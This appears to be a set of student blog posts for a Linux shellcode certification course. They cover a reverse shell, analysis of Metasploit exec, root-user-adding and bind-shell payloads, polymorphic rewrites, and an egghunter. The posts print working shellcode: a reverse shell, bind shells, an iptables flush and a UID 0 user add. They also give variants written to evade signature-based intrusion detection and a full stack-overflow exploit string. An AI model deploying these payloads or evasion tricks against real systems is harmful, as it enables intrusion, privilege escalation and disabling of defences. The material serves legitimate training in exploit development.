SLAE Assignment 2 - Reverse Shell

SLAE Assignment 2 - Reverse Shell

Objective:

The objective of the assignment is to create a reverse shell which connects back to the listener and spawns a shell .

Steps

 

 

1. ) Identify the system calls required

2.) Create the Assembly code

3.) Test the compiled binary and create wrapper script

Step1

 

The major difference between bind shell and reverse shell is that we don't need to bind an IP and port to the socket that we create , instead it uses connect to shovel back a shell to the listener . A reverse shell is very much useful in the cases of firewall filtering for incoming connections . The system calls used are 

a.  Socket 

As usual we create a socket which will be used later to connect .

b. Connect 

We use the connect system call to connect to a target IP and port.

c. Dup2 

Just like in the bind shell we will be using dup2 to redirect stdin , stdout and stderr to the created socket .

d. Execve

Finally execve is used to execute /bin/sh to the created socket which will be shoveled back to the listening IP and port.

Step2

The next step is to create the assembly code with the above mentioned system calls  . 

 

global _start section .text _start:     addr: equ 0x0101017F ; ip = 127.1.1.1     port: equ 0x5704 ; port= 1111     ; socket(AF_INET, SOCK_STREAM, 0);     cdq     push 0x66           ; socketcall()     pop eax     push edx     inc edx     push edx     mov ebx, edx     inc edx     push edx     mov ecx, esp     int 0x80            ; call socketcall() ;dup2 int dup2(int oldfd, int newfd)             xchg ebx, eax             mov ecx, edx             loop4dup:             mov al, 0x3f             int 0x80             dec ecx             jns loop4dup     ; connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr))     mov al, 0x66        ; socketcall()     xchg ebx, edx     push addr    ; 127.1.1.1     push word port    ; 1111     push word bx        ; AF_INET     inc ebx     mov ecx, esp     push 0x10     push ecx     push edx     mov ecx, esp     int 0x80            ; call socketcall()     ; execve("/bin/sh", NULL , NULL);     push BYTE 11            ; execve()     pop eax     cdq     mov ecx, edx     push edx     push 0x68732f2f     ; //sh     push 0x6e69622f     ; /bin     mov ebx, esp     int 0x80            ; call execve()

Step3 

 The next step is to assemble , compile and test the shellcode . 

As usual we create the object code and then link the assembly file to create the binary . Then we will take opcodes for the shellcode using the trick learned from SLAE and then test the same in the shellcode trying code . 

Finally the binary is executed and we can see that the shellcode worked as expected with a reverse connection obtained  . 

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE – 739

All the files used can be found here https://github.com/rtv7/SLAE

SLAE Assignment - 5 - Analyzing metasploit shellcodes

SLAE Assignment - 5 - Analyzing metasploit shellcodes 

 

Objective:

 

The objective of the task is to analyze 3 existing shellcodes from metasploit. For the analysis we can use various tools like libemu, ndisasm , gdb and strace . 

Lets list the payloads that are available for our target OS and architecture . 

I am choosing the first 3 shellcodes for the analysis .

Shellcode 1 : linux/x86/exec 

 Lets see the summary and description of the selected shellcode . 

As you can see from the above picture the only option that needs to be set is the command that needs to be executed .

Lets get the raw shellcode .

Lets do a quick analysis on ndisasm . 

Hmm , ndisasm have given us the assembly instructions , however its not that clear , from the above picture we can assume the following . 

The system call number is 11 ( execve ) . we can see some strings pushed on the stack .once we do the hex to ascii conversion we can see that they are , 

So execve /bin/sh is called , however we cannot see the parameter we have given 'id'

Lets move on to strace . 

First we need to create the binary and try executing the same . 

So the shellcode works and the id command is executed . lets now use strace to analyze the same . 

Lets reduce the noise and use the -e switch to see the execve system call only . 

So we can see that ndisasm was right and the execve system call is used and the we can clearly see the arguments also . We can see our id command also . So from this we are clear that execve is used to call to execute id through /bin/sh . 

Lets check the man page of execve and see the what are those arguments . 

So /bin/sh is the filename and -C is the first argument and id is the second argument .

Libemu is another tool which can be handy during the analysis and lets have a look at it . 

Cool , so libemu have given an even clearer idea on the execution of the shellcode . We can see that /bin/sh is called to execute our command "id" .

Lets now try to use GDB for the analysis . 

From the GDB analysis we can see that eax = 11 , ebx = memory address which holds /bin/sh and esp currently holds our command "id" .

So we can see that our analysis from previous tools holds good .

Shellcode 2 : linux/x86/adduser

As usual lets see the summary and the details of the selected shellcode. 

So the shellcode creates a new user with UID 0 . Lets extract the shellcode 

lets include the shellcode in the tester c code and execute the same .

Now lets see the /etc/passwd file to look for the created new user .

As you can clearly see from the above picture a new user was created with the name a1 with UID as 0.

Now lets move on to the analysis of the shellcode .

Lets use GDB this time and do a step by step analysis on important areas.

Lets load the binary in GDB .

lets set the breakpoint on the call instruction

we can see the first 2 system calls called setresuid and open . Open is used to open a file . lets see what it is  .

So that is /etc/passwd which is been opened , possibly to add our user .

Lets step through the next instructions and  see where our add user line is used .

So we can see that the user 'a1' also from the analysis . So write system call is used to write to the end of /etc/passwd file. and finally the exit call is called .

lets now use strace and execute the binary .

The strace clearly shows all the system calls .

setresuid , open write and exit .

Shellcode 3 : linux/x86/shell_bind_tcp 

Lets see the payload options as usual . 

As shown in the description the shellcode spawns a bind shell upon connecting to the port . 

Lets use ndisasm to have a quick check . 

Its not very clear with ndisasm since there are many system call used and the length of the assembly code is long .
.

root@dink0ism:/home/rtv/Exercise5/3# echo -ne "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x04\xd2\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" |ndisasm -u - 00000000  31DB              xor ebx,ebx 00000002  F7E3              mul ebx 00000004  53                push ebx 00000005  43                inc ebx 00000006  53                push ebx 00000007  6A02              push byte +0x2 00000009  89E1              mov ecx,esp 0000000B  B066              mov al,0x66 0000000D  CD80              int 0x80 0000000F  5B                pop ebx 00000010  5E                pop esi 00000011  52                push edx 00000012  68020004D2        push dword 0xd2040002 00000017  6A10              push byte +0x10 00000019  51                push ecx 0000001A  50                push eax 0000001B  89E1              mov ecx,esp 0000001D  6A66              push byte +0x66 0000001F  58                pop eax 00000020  CD80              int 0x80 00000022  894104            mov [ecx+0x4],eax 00000025  B304              mov bl,0x4 00000027  B066              mov al,0x66 00000029  CD80              int 0x80 0000002B  43                inc ebx 0000002C  B066              mov al,0x66 0000002E  CD80              int 0x80 00000030  93                xchg eax,ebx 00000031  59                pop ecx 00000032  6A3F              push byte +0x3f 00000034  58                pop eax 00000035  CD80              int 0x80 00000037  49                dec ecx 00000038  79F8              jns 0x32 0000003A  682F2F7368        push dword 0x68732f2f 0000003F  682F62696E        push dword 0x6e69622f 00000044  89E3              mov ebx,esp 00000046  50                push eax 00000047  53                push ebx 00000048  89E1              mov ecx,esp 0000004A  B00B              mov al,0xb 0000004C  CD80              int 0x80

Lets try libemu and see if we can get more information

int socket (      int domain = 2;      int type = 1;      int protocol = 0; ) =  14; int bind (      int sockfd = 14;      struct sockaddr_in * my_addr = 0x00416fc2 =>          struct   = {              short sin_family = 2;              unsigned short sin_port = 53764 (port=1234);              struct in_addr sin_addr = {                  unsigned long s_addr = 0 (host=0.0.0.0);              };              char sin_zero = "       ";          };      int addrlen = 16; ) =  0; int listen (      int s = 14;      int backlog = 0; ) =  0; int accept (      int sockfd = 14;      sockaddr_in * addr = 0x00000000 =>          none;      int addrlen = 0x00000010 =>          none; ) =  19; int dup2 (      int oldfd = 19;      int newfd = 14; ) =  14; int dup2 (      int oldfd = 19;      int newfd = 13; ) =  13; int dup2 (      int oldfd = 19;      int newfd = 12; ) =  12; int dup2 (      int oldfd = 19;      int newfd = 11; ) =  11; int dup2 (      int oldfd = 19;      int newfd = 10; ) =  10; int dup2 (      int oldfd = 19;      int newfd = 9; ) =  9; int dup2 (      int oldfd = 19;      int newfd = 8; ) =  8; int dup2 (      int oldfd = 19;      int newfd = 7; ) =  7; int dup2 (      int oldfd = 19;      int newfd = 6; ) =  6; int dup2 (      int oldfd = 19;      int newfd = 5; ) =  5; int dup2 (      int oldfd = 19;      int newfd = 4; ) =  4; int dup2 (      int oldfd = 19;      int newfd = 3; ) =  3; int dup2 (      int oldfd = 19;      int newfd = 2; ) =  2; int dup2 (      int oldfd = 19;      int newfd = 1; ) =  1; int dup2 (      int oldfd = 19;      int newfd = 0; ) =  0; int execve (      const char * dateiname = 0x00416fb2 =>            = "/bin//sh";      const char * argv[] = [            = 0x00416faa =>                = 0x00416fb2 =>                    = "/bin//sh";            = 0x00000000 =>              none;      ];      const char * envp[] = 0x00000000 =>          none; ) =  0;

Libemu gives more details and even with all the system calls used and its very clear . There is even an option which shows the step by step execution of the shellcode . lets try that . lets also convert the output dot file generated to png .

Now lets open the output file .

The above screenshot is the first half of the full png file .

We can see the system calls called , We can see the socket system call used to create the socket and then used bind and listen on the created socket .lets see the next part. Socket is used to create a TCP socket and bind an ip (127.0.0.1)and port (1234)to it . possibly the ip and port that we gave .

 

 we can see the accept and dup2 system calls followed . Accept will listen for incoming connections and dup2 is used to duplicate stdin , stdout and stderr to  the socket . Finally execve is called to execute /bin/sh . So now anyone connecting on the ip and port ( 1234 ) will get  /bin/sh interpreter.

Lets now compile the shellcode and execute the same .

As its clear from the above picture the shellcode worked perfectly and we were able to connect to the listening port.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE – 739

All the files used can found here https://github.com/rtv7/SLAE

SLAE Assignment 6 - Polymorphic Shellcodes

SLAE Assignment 6 - Polymorphic Shellcodes

 

Objective 

 

The objective of this assignment is to create polymorphic shellcodes of already existing and well known shellcodes . Polymorphism is a way to bypass signature based intrusion detection systems . 

A polymorphic shellcode is created by modifying an already existing shellcode in an assembly level without changing its original functionalities . 

Shellcode 1 : http://shell-storm.org/shellcode/files/shellcode-842.php

Original Author - Tiny Read File Shellcode - Geyslan G. Bem, Hacking bits

The first step was to obtain the assembly code from the shellcode . i used ndisasm to extract them . 

As you can see from the above screenshot the original author used 3 system calls in his code . They were open , read and write . The open ( 5) system call was used to open the /etc/passwd file and then the read ( 3) system call was used to read upto 4096 bytes from the passwd file . Then the write (4) system call is called to print the file details to the screen . 

My aim was to change the assembly code in a way that it is different from the above code so that a signature based IDS/ IPS should not catch the code even if the original signature is present in its database . 

I made the following changes . 

 

Original Shellcode	Polymorphic Shellcode
xor ecx,ecx mul ecx mov al,0x5 push ecx push dword 0x64777373 push dword 0x61702f63 push dword 0x74652f2f mov ebx,esp int 0x80 xchg eax,ebx xchg eax,ecx mov al,0x3 xor edx,edx mov dx,0xfff inc edx int 0x80 xchg eax,edx xor eax,eax mov al,0x4 mov bl,0x1 int 0x80 xchg eax,ebx int 0x80	xor ecx,ecx mul ecx stc mov al,0x4 inc al clc push ecx mov edx, 0x53666262 add edx, 0x11111111 push edx push dword 0x61702f63 xor edx,edx mov edx, 0x85764040 sub edx, 0x11111111 push edx mov ebx,esp int 0x80 xchg eax,ebx xchg eax,ecx mov al,0x4 dec al xor edx,edx mov dx,0xfff inc edx int 0x80 xchg eax,edx xor eax,eax mov al,0x4 mov bl,0x1 int 0x80 xchg eax,ebx int 0x80

 We have learned during the SLAE class that most of the assembly logic can be expressed in more than one form . I used many techniques learned in the course to express the code in a different format.The mainly used techniques were the following .

Using arithmetic logic to input same values in different ways ,

for eg push 0x33333333 can be also expressed as ,

mov ebx, 0x22222222
add ebx, 0x11111111

Adding random assembly code which doesn't have any impact , 

for eg the flags like STC - set carry flag and CLC - clear carry flags can be added to create randomness to the code , the carry flag will not have an impact during the execution of the current shellcode . 

Execution

Now its time to execute the polymorphic code to see if its works . As usual we will compile and link the code and obtain the opcodes for the shellcode . 

As you can see it was a success . The shellcode length was 73 which was less than our cutoff ( not more than 150% of original code)

Shellcode 2 : http://shell-storm.org/shellcode/files/shellcode-361.php

Original Author :

/rootteam/dev0id (www.sysworld.net) 58 bytes

jmp     short   callme main:         pop     esi         xor     eax,eax         mov byte [esi+14],al         mov byte [esi+17],al         mov long [esi+18],esi         lea     ebx,[esi+15]         mov long [esi+22],ebx         mov long [esi+26],eax         mov     al,0x0b         mov     ebx,esi         lea     ecx,[esi+18]         lea     edx,[esi+26]         int     0x80         callme:         call    main         db '/sbin/iptables#-F#'

 Shellcode usage : The above shellcode will flush the iptables firewall rules . IPtables is the default firewall present in linux OS and its pretty usefull .

 I have modified the above nasm file to the following .

global _start _start: xor eax,eax push eax push dword 0x73656c62 push dword 0x61747069 push dword 0x2f6e6962 mov edx, 0x11111111 add edx, 0x621e1e1e push edx mov ebx, esp push eax push word 0x462d mov esi, esp push eax push esi push ebx mov ecx,esp mov edx,eax mov al,0xa inc al int 0x80

Now lets try executing the shellcode .I have setup a rule in the iptables as below .

Now we will execute the shellcode and see the outcome .

We can see that the shellcode executed successfully and the rules were flushed . The total shellcode length is 52 bytes which is less than the original 58 byte shellcode  .

Shellcode 3 :http://shell-storm.org/shellcode/files/shellcode-848.php

Original Author - Hamid Zamani

Linux/x86 - Set '/proc/sys/net/ipv4/ip_forward' to '0' & exit() .Size : 83 Bytes.

See below the shellcode in intel format .  

The shellcode uses 4 system calls . It uses Open , read , write and exit to complete the shellcode .
IP forwarding is done to forward packets from one interface to another , or in essence this is how router works .

Lets modify the shellcode .

i have done some changes and you can see the 2 shellcodes side by side .

xor eax,eax push eax push dword 0x64726177 push dword 0x726f665f push dword 0x70692f34 push dword 0x7670692f push dword 0x74656e2f push dword 0x2f737973 push dword 0x2f636f72 push word 0x702f mov ebx,esp xor ecx,ecx mov cl,0x1 mov al,0x5 int 0x80 mov ebx,eax xor ecx,ecx push ecx push byte +0x30 mov ecx,esp xor edx,edx mov dl,0x1 mov al,0x4 int 0x80 xor eax,eax add eax,byte +0x6 int 0x80 xor eax,eax inc eax xor ebx,ebx int 0x80

xor ecx, ecx mul ecx push eax mov ebx, 0x726f665f xor ebx, 0x161d0728 push ebx push dword 0x726f665f push dword 0x70692f34 push dword 0x7670692f push dword 0x74656e2f push dword 0x2f737973 push dword 0x2f636f72 push word 0x702f mov ebx,esp xor ecx,ecx mov cl,0x1 mov al,0x6 dec al int 0x80 mov ebx, eax xor ecx,ecx push ecx push byte 0x30 mov ecx,esp xor edx,edx mov dl,0x1 mov al,0x3 inc al int 0x80 xor eax,eax add eax,byte 0x6 int 0x80 xor eax,eax add eax, 0x1 xor ebx,ebx int 0x80

The new shellcode length is 98 which is less than the allowed size ( 150% of original shellcode )
 Now lets execute the shellcode and see the output .

As you can clearly see from the above picture the value of the particular file is now changed to 0 from 1.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE – 739

All the files used can be found https://github.com/rtv7/SLAE

SLAE Assignment 3 - EggHunter

SLAE Assignment 3 - EggHunter 

 

Objective 

 

The objective of the task is to create an egghunting shellcode . Egghunting shellcodes are very useful in cases where the area we control after a crash is less and can't afford a large shellcode . Egghunting shellcode normally uses less space and it can be used to mark our shellcode in memory via a known pattern . 

The best paper to learn about egghunter implementation is "Safely Searching Process Virtual Address Space" by skape . The author has provided 3 egghunter methods for Linux . 

They are , access (2) , access ( 2 ) revisited and sigaction (2) system calls .  

I am focusing on  the access (2) revisited method for this post . The following is the nasm file created.

rtv@dink0ism:~/Exercise3$ cat egg_hunter2.nasm ; Egg - 0xF890F990 global _start         section .text _start:         xor edx, edx allignpage:         or dx, 0xfff nextaddr:         inc edx         lea ebx, [edx+0x4]         push byte 0x21    ; system call for access(2)         pop eax         int 0x80         cmp al, 0xf2        ; checking for EFAULT         je allignpage       ; going back to page allignment         mov eax, 0xF890F990 ; egg         mov edi, edx         scasd         jne nextaddr         scasd         jne nextaddr         jmp edi

 The following are the major steps .

1. Initialize the edx register
2. Perform a page alignment operation 
3. Syscall for access (2) is triggered
4. Check if we got an EFAULT
5. Start the comparison of egg once address is valid
6. If we've found our egg, pass execution to it

 Lets create a sample program to test the egg hunting code . It uses a TCP bind shellcode which listens on 11111 as the final payload .

rtv@dink0ism:~/Exercise3$ cat shellcodeegg.c #include <stdio.h> #include <string.h> #include <stdlib.h> unsigned char egghunter[20]; void main() { /* bind shellcode port 11111*/   unsigned char shellcode[256] = \ "\x90\xf9\x90\xf8\x90\xf9\x90\xf8" /* Egg Identifier */ "\x6a\x06\x6a\x01\x6a\x02\x31\xdb\xb3\x01\x31\xc9\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x89\xc6\x31\xdb\x53\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\xb3\x02\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x6a\x01\x56\x31\xdb\xb3\x04\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x31\xdb\x53\x53\x56\xb3\x05\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x89\xc3\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80";  printf("Shellcode: %d bytes\n", strlen(shellcode)); /*egg hunter code */  strcpy(egghunter,"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\xf9\x90\xf8\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7");  printf("Egghunter: %d bytes\n", strlen(egghunter));  int (*ret)() = (int(*)())egghunter;  ret(); }

Lets compile and execute the program .

It works and we got our bind shell after connecting to port 11111.

 

Practical Execution 

 

Now we can try the same in an actual scenario .

I will be using the below code which is vulnerable to stack based overflow . 

#include <stdio.h> int main(int argc, char *argv[]) { char buffer[256]; memcpy(buffer, argv[1],strlen(argv[1])); printf(buffer); }

After some basic fuzzing i was able to identify that the buffer overflows if we give 272 characters as input .

The final four bytes is the EIP . Also the buffer starts at 0xbffff3b0 .

Next we will try our exploit which uses egg hunting .

The final exploit should be like this ,

EGGHUNTER + 99 NOPS + SHELLCODE + EIP

which is

$(perl -e 'printf "\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\xf9\x90\xf8\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7" . "\x90" x 99 . "\x90\xf9\x90\xf8\x90\xf9\x90\xf8\x6a\x06\x6a\x01\x6a\x02\x31\xdb\xb3\x01\x31\xc9\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x89\xc6\x31\xdb\x53\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\xb3\x02\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x6a\x01\x56\x31\xdb\xb3\x04\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x31\xdb\x53\x53\x56\xb3\x05\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x89\xc3\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" . "\xb0\xf3\xff\xbf"')

So we will try this out now and see the outcome ,

As expected we got our shellcode working .

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE – 739

All the files used can be found here https://github.com/rtv7/SLAE